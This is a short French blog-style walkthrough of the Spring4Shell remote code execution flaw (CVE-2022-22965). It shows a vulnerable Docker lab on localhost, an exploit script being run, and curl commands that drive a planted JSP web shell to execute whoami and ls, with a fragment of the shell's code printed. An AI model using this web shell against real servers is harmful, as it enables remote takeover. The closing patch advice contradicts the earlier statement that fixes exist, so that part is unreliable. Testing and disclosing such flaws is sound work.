
Spring4Shell - RCE de Spring Core - CVE-2022-22965
Après Spring Cloud, le 29 mars, une autre vulnérabilité majeure de Spring a éclaté sur Internet : Spring Core RCE
Le 31 mars, Spring a publié de nouvelles versions qui corrigent la vulnérabilité. Voir la section Correctif.
Le 31 mars, un numéro CVE a finalement été attribué à la vulnérabilité avec un score CVSS de 9.8 (CRITIQUE)
L'exploit est très facile à utiliser, d'où le score CVSS très élevé de 9.8.
Pour tester la vulnérabilité, vous pouvez procéder comme suit.
Démarrez une image Docker vulnérable de Spring.
docker run -d -p 8082:8080 --name springrce -it vulfocus/spring-core-rce-2022-03-29
Cela lie le Spring vulnérable à l'adresse localhost:8082.
Vérifiez que l'image est correctement démarrée avec curl
curl http://localhost:8082
Une réponse ok doit être renvoyée.
Exploitons maintenant l'image vulnérable !
python3 exp.py --url http://localhost:8082
Une réponse The vulnerability exists .... doit être renvoyée.
Vous pouvez maintenant exploiter la vulnérabilité avec curl
# Execute command whoami
curl --output - http://localhost:8082/tomcatwar.jsp?pwd=j&cmd=whoami
# Response has been truncated
root
//
- if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = -.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } - ........
# Execute command ls
curl --output - http://localhost:8082/tomcatwar.jsp?pwd=j&cmd=ls
# Response has been truncated
app
bin
dev
etc
..........
L'exploit a été téléchargé jusqu'à présent exp.py


Spring a maintenant publié de nouvelles versions qui corrigent cette CVE. Voir l'annonce de Spring.
À l'heure actuelle, Spring n'a pas encore publié officiellement de correctif, il est recommandé de réduire la version du JDK comme solution temporaire